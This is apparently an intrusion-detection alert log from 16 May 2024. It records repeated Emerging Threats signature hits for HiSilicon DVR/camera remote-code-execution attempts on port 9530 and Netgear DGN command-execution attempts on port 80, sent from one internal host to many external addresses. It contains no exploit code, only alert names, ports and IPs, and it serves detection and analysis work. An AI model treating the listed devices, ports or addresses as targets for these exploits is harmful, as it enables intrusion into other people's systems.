05/16/24-16:39:02.764200	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35184	9530	192.168.2.23	184.125.234.150
05/16/24-16:39:12.406630	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48420	9530	192.168.2.23	221.60.251.191
05/16/24-16:39:02.748694	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37432	9530	192.168.2.23	110.84.64.16
05/16/24-16:39:05.677856	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48800	9530	192.168.2.23	125.141.55.203
05/16/24-16:39:05.678394	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43456	9530	192.168.2.23	23.183.21.50
05/16/24-16:39:02.748694	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37432	9530	192.168.2.23	110.84.64.16
05/16/24-16:39:05.677856	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48800	9530	192.168.2.23	125.141.55.203
05/16/24-16:39:05.678394	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43456	9530	192.168.2.23	23.183.21.50
05/16/24-16:39:14.525603	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48100	9530	192.168.2.23	188.80.113.147
05/16/24-16:39:14.525603	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48100	9530	192.168.2.23	188.80.113.147
05/16/24-16:39:05.693256	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41030	9530	192.168.2.23	124.223.220.14
05/16/24-16:39:05.693256	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41030	9530	192.168.2.23	124.223.220.14
05/16/24-16:39:08.127920	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36928	9530	192.168.2.23	66.62.13.47
05/16/24-16:39:08.127920	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36928	9530	192.168.2.23	66.62.13.47
05/16/24-16:39:16.576791	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51330	9530	192.168.2.23	90.218.118.135
05/16/24-16:39:16.576791	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51330	9530	192.168.2.23	90.218.118.135
05/16/24-16:39:08.044893	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52602	9530	192.168.2.23	147.227.100.131
05/16/24-16:39:08.044893	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52602	9530	192.168.2.23	147.227.100.131
05/16/24-16:38:50.069316	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43036	9530	192.168.2.23	144.94.213.233
05/16/24-16:39:08.127214	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45804	9530	192.168.2.23	115.72.103.63
05/16/24-16:38:59.609942	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50864	9530	192.168.2.23	57.96.27.134
05/16/24-16:38:50.069316	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43036	9530	192.168.2.23	144.94.213.233
05/16/24-16:38:59.609942	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50864	9530	192.168.2.23	57.96.27.134
05/16/24-16:39:08.127214	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45804	9530	192.168.2.23	115.72.103.63
05/16/24-16:39:05.693269	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39222	9530	192.168.2.23	66.170.173.153
05/16/24-16:38:50.047486	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54726	9530	192.168.2.23	146.32.22.51
05/16/24-16:38:50.047486	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54726	9530	192.168.2.23	146.32.22.51
05/16/24-16:39:01.474345	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	52788	80	192.168.2.23	120.60.53.184
05/16/24-16:39:05.693269	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39222	9530	192.168.2.23	66.170.173.153
05/16/24-16:38:57.407571	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54228	9530	192.168.2.23	194.83.49.171
05/16/24-16:38:53.013613	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37926	9530	192.168.2.23	76.236.171.38
05/16/24-16:38:53.013613	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37926	9530	192.168.2.23	76.236.171.38
05/16/24-16:38:57.407571	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54228	9530	192.168.2.23	194.83.49.171
05/16/24-16:38:53.403411	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	35476	80	192.168.2.23	22.15.103.15
05/16/24-16:39:14.493344	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39004	9530	192.168.2.23	41.129.67.104
05/16/24-16:39:14.493344	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39004	9530	192.168.2.23	41.129.67.104
05/16/24-16:39:12.301270	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46668	9530	192.168.2.23	182.89.181.1
05/16/24-16:39:12.301270	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46668	9530	192.168.2.23	182.89.181.1
05/16/24-16:39:16.580439	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46852	9530	192.168.2.23	64.190.88.168
05/16/24-16:39:16.580439	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46852	9530	192.168.2.23	64.190.88.168
05/16/24-16:39:16.598478	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43078	9530	192.168.2.23	151.166.239.111
05/16/24-16:38:55.198248	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47462	9530	192.168.2.23	111.81.224.135
05/16/24-16:39:16.598478	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43078	9530	192.168.2.23	151.166.239.111
05/16/24-16:38:55.198248	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47462	9530	192.168.2.23	111.81.224.135
05/16/24-16:38:59.558037	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35982	9530	192.168.2.23	46.41.227.135
05/16/24-16:38:59.558037	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35982	9530	192.168.2.23	46.41.227.135
05/16/24-16:39:03.260011	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37572	9530	192.168.2.23	82.188.144.91
05/16/24-16:39:03.260011	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37572	9530	192.168.2.23	82.188.144.91
05/16/24-16:38:55.187260	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43178	9530	192.168.2.23	41.206.33.115
05/16/24-16:39:14.528964	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57574	9530	192.168.2.23	117.182.200.178
05/16/24-16:38:55.187260	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43178	9530	192.168.2.23	41.206.33.115
05/16/24-16:39:14.492269	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44336	9530	192.168.2.23	176.37.127.11
05/16/24-16:39:14.492269	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44336	9530	192.168.2.23	176.37.127.11
05/16/24-16:39:16.581452	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36758	9530	192.168.2.23	20.244.26.119
05/16/24-16:38:59.519386	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46022	9530	192.168.2.23	106.241.70.168
05/16/24-16:39:16.581452	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36758	9530	192.168.2.23	20.244.26.119
05/16/24-16:38:59.519386	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46022	9530	192.168.2.23	106.241.70.168
05/16/24-16:38:53.099147	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43802	9530	192.168.2.23	135.69.228.84
05/16/24-16:38:53.099147	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43802	9530	192.168.2.23	135.69.228.84
05/16/24-16:39:14.528964	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57574	9530	192.168.2.23	117.182.200.178
05/16/24-16:38:50.052449	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44818	9530	192.168.2.23	94.198.81.232
05/16/24-16:38:50.052449	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44818	9530	192.168.2.23	94.198.81.232
05/16/24-16:39:16.581452	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47028	9530	192.168.2.23	78.131.64.211
05/16/24-16:39:05.707918	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46566	9530	192.168.2.23	124.206.68.39
05/16/24-16:39:16.581452	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47028	9530	192.168.2.23	78.131.64.211
05/16/24-16:39:05.707918	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46566	9530	192.168.2.23	124.206.68.39
05/16/24-16:39:09.560423	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	38876	80	192.168.2.23	19.161.148.119
05/16/24-16:38:57.304870	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58854	9530	192.168.2.23	54.238.67.141
05/16/24-16:39:12.383644	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41276	9530	192.168.2.23	35.154.196.81
05/16/24-16:38:57.304870	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58854	9530	192.168.2.23	54.238.67.141
05/16/24-16:39:12.383644	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41276	9530	192.168.2.23	35.154.196.81
05/16/24-16:38:55.176045	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57406	9530	192.168.2.23	124.239.71.65
05/16/24-16:38:55.226415	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58764	9530	192.168.2.23	128.175.35.86
05/16/24-16:39:05.705564	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51720	9530	192.168.2.23	222.126.20.145
05/16/24-16:39:12.400946	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46816	9530	192.168.2.23	142.49.139.222
05/16/24-16:39:05.705564	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51720	9530	192.168.2.23	222.126.20.145
05/16/24-16:39:12.400946	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46816	9530	192.168.2.23	142.49.139.222
05/16/24-16:38:55.176045	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57406	9530	192.168.2.23	124.239.71.65
05/16/24-16:38:55.226415	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58764	9530	192.168.2.23	128.175.35.86
05/16/24-16:39:14.514824	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37356	9530	192.168.2.23	220.152.12.183
05/16/24-16:39:14.514824	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37356	9530	192.168.2.23	220.152.12.183
05/16/24-16:38:55.192902	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47464	9530	192.168.2.23	99.28.16.137
05/16/24-16:38:55.192902	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47464	9530	192.168.2.23	99.28.16.137
05/16/24-16:38:50.046637	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38404	9530	192.168.2.23	70.98.192.175
05/16/24-16:38:55.196405	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56610	9530	192.168.2.23	18.132.175.45
05/16/24-16:38:55.196405	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56610	9530	192.168.2.23	18.132.175.45
05/16/24-16:38:50.046637	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38404	9530	192.168.2.23	70.98.192.175
05/16/24-16:39:08.044880	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38252	9530	192.168.2.23	176.143.134.172
05/16/24-16:39:08.044880	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38252	9530	192.168.2.23	176.143.134.172
05/16/24-16:38:53.084704	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33670	9530	192.168.2.23	163.20.254.63
05/16/24-16:38:53.084704	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33670	9530	192.168.2.23	163.20.254.63
05/16/24-16:38:55.199371	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33220	9530	192.168.2.23	143.231.83.164
05/16/24-16:39:05.704081	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44714	9530	192.168.2.23	166.107.22.155
05/16/24-16:39:05.704006	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59566	9530	192.168.2.23	188.5.150.215
05/16/24-16:39:08.149061	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57954	9530	192.168.2.23	94.238.142.178
05/16/24-16:39:05.704006	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59566	9530	192.168.2.23	188.5.150.215
05/16/24-16:39:08.149061	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57954	9530	192.168.2.23	94.238.142.178
05/16/24-16:39:05.699190	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41490	9530	192.168.2.23	79.152.80.23
05/16/24-16:38:55.199371	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33220	9530	192.168.2.23	143.231.83.164
05/16/24-16:39:05.699190	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41490	9530	192.168.2.23	79.152.80.23
05/16/24-16:39:14.492303	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49812	9530	192.168.2.23	20.251.5.111
05/16/24-16:38:50.069051	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59332	9530	192.168.2.23	105.97.43.86
05/16/24-16:38:50.069051	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59332	9530	192.168.2.23	105.97.43.86
05/16/24-16:39:05.704081	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44714	9530	192.168.2.23	166.107.22.155
05/16/24-16:39:08.137725	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56304	9530	192.168.2.23	71.82.254.133
05/16/24-16:39:08.137725	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56304	9530	192.168.2.23	71.82.254.133
05/16/24-16:39:14.492303	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49812	9530	192.168.2.23	20.251.5.111
05/16/24-16:38:59.609968	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41176	9530	192.168.2.23	140.253.57.245
05/16/24-16:38:59.609968	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41176	9530	192.168.2.23	140.253.57.245
05/16/24-16:39:08.127993	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50156	9530	192.168.2.23	199.213.101.160
05/16/24-16:39:08.127993	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50156	9530	192.168.2.23	199.213.101.160
05/16/24-16:39:13.663775	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	58096	80	192.168.2.23	84.237.126.186
05/16/24-16:38:57.413289	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47154	9530	192.168.2.23	184.30.113.217
05/16/24-16:38:57.413289	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47154	9530	192.168.2.23	184.30.113.217
05/16/24-16:39:05.676849	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45830	9530	192.168.2.23	103.174.5.159
05/16/24-16:38:53.011190	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52366	9530	192.168.2.23	182.196.102.135
05/16/24-16:39:05.676849	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45830	9530	192.168.2.23	103.174.5.159
05/16/24-16:38:53.011190	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52366	9530	192.168.2.23	182.196.102.135
05/16/24-16:38:55.213081	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57350	9530	192.168.2.23	117.9.130.219
05/16/24-16:38:55.213081	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57350	9530	192.168.2.23	117.9.130.219
05/16/24-16:38:55.207705	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37468	9530	192.168.2.23	143.216.62.195
05/16/24-16:38:50.001247	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57522	9530	192.168.2.23	42.222.106.168
05/16/24-16:38:55.207705	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37468	9530	192.168.2.23	143.216.62.195
05/16/24-16:38:50.001247	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57522	9530	192.168.2.23	42.222.106.168
05/16/24-16:38:55.192823	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47426	9530	192.168.2.23	93.6.4.242
05/16/24-16:38:55.192823	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47426	9530	192.168.2.23	93.6.4.242
05/16/24-16:39:12.304041	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52844	9530	192.168.2.23	158.118.213.126
05/16/24-16:39:12.304041	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52844	9530	192.168.2.23	158.118.213.126
05/16/24-16:38:55.198254	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43208	9530	192.168.2.23	47.5.158.129
05/16/24-16:38:55.198254	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43208	9530	192.168.2.23	47.5.158.129
05/16/24-16:39:14.492411	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51968	9530	192.168.2.23	190.102.120.65
05/16/24-16:39:14.492411	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51968	9530	192.168.2.23	190.102.120.65
05/16/24-16:39:05.699945	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60498	9530	192.168.2.23	123.255.148.162
05/16/24-16:39:03.262258	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47754	9530	192.168.2.23	220.80.128.39
05/16/24-16:39:05.699945	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60498	9530	192.168.2.23	123.255.148.162
05/16/24-16:39:16.614022	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43378	9530	192.168.2.23	80.65.243.139
05/16/24-16:39:03.262258	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47754	9530	192.168.2.23	220.80.128.39
05/16/24-16:39:12.400939	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37884	9530	192.168.2.23	86.110.214.72
05/16/24-16:39:12.400939	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37884	9530	192.168.2.23	86.110.214.72
05/16/24-16:39:14.509993	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58604	9530	192.168.2.23	182.94.167.167
05/16/24-16:39:16.614022	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43378	9530	192.168.2.23	80.65.243.139
05/16/24-16:39:05.512197	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	34372	80	192.168.2.23	1.213.162.54
05/16/24-16:39:14.509993	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58604	9530	192.168.2.23	182.94.167.167
05/16/24-16:39:05.677908	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57466	9530	192.168.2.23	152.200.171.44
05/16/24-16:39:08.041043	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51792	9530	192.168.2.23	181.26.180.14
05/16/24-16:39:16.610477	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40684	9530	192.168.2.23	182.19.23.41
05/16/24-16:39:05.677908	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57466	9530	192.168.2.23	152.200.171.44
05/16/24-16:39:14.529070	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49862	9530	192.168.2.23	124.58.249.215
05/16/24-16:39:16.610477	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40684	9530	192.168.2.23	182.19.23.41
05/16/24-16:39:08.041043	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51792	9530	192.168.2.23	181.26.180.14
05/16/24-16:39:14.529070	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49862	9530	192.168.2.23	124.58.249.215
05/16/24-16:38:59.584459	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40904	9530	192.168.2.23	161.165.171.81
05/16/24-16:39:14.494669	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60696	9530	192.168.2.23	174.100.226.111
05/16/24-16:38:59.584459	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40904	9530	192.168.2.23	161.165.171.81
05/16/24-16:39:14.494669	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60696	9530	192.168.2.23	174.100.226.111
05/16/24-16:38:53.013613	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47180	9530	192.168.2.23	150.182.133.125
05/16/24-16:39:14.493461	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59550	9530	192.168.2.23	208.113.11.145
05/16/24-16:39:14.493461	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59550	9530	192.168.2.23	208.113.11.145
05/16/24-16:39:05.699180	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60062	9530	192.168.2.23	77.155.253.25
05/16/24-16:39:05.699180	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60062	9530	192.168.2.23	77.155.253.25
05/16/24-16:39:12.383638	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34138	9530	192.168.2.23	143.175.70.0
05/16/24-16:39:12.383638	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34138	9530	192.168.2.23	143.175.70.0
05/16/24-16:38:59.557760	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43874	9530	192.168.2.23	4.148.143.29
05/16/24-16:38:59.557760	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43874	9530	192.168.2.23	4.148.143.29
05/16/24-16:38:53.013613	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47180	9530	192.168.2.23	150.182.133.125
05/16/24-16:38:57.411158	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58764	9530	192.168.2.23	27.224.180.39
05/16/24-16:38:59.519338	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45342	9530	192.168.2.23	162.108.181.67
05/16/24-16:38:59.519338	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45342	9530	192.168.2.23	162.108.181.67
05/16/24-16:39:12.406700	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39956	9530	192.168.2.23	173.231.204.251
05/16/24-16:39:14.521988	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60642	9530	192.168.2.23	131.192.0.225
05/16/24-16:39:12.406700	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39956	9530	192.168.2.23	173.231.204.251
05/16/24-16:39:08.044880	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51682	9530	192.168.2.23	79.178.117.24
05/16/24-16:39:16.597932	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34090	9530	192.168.2.23	87.160.201.217
05/16/24-16:38:57.411158	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58764	9530	192.168.2.23	27.224.180.39
05/16/24-16:39:08.044880	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51682	9530	192.168.2.23	79.178.117.24
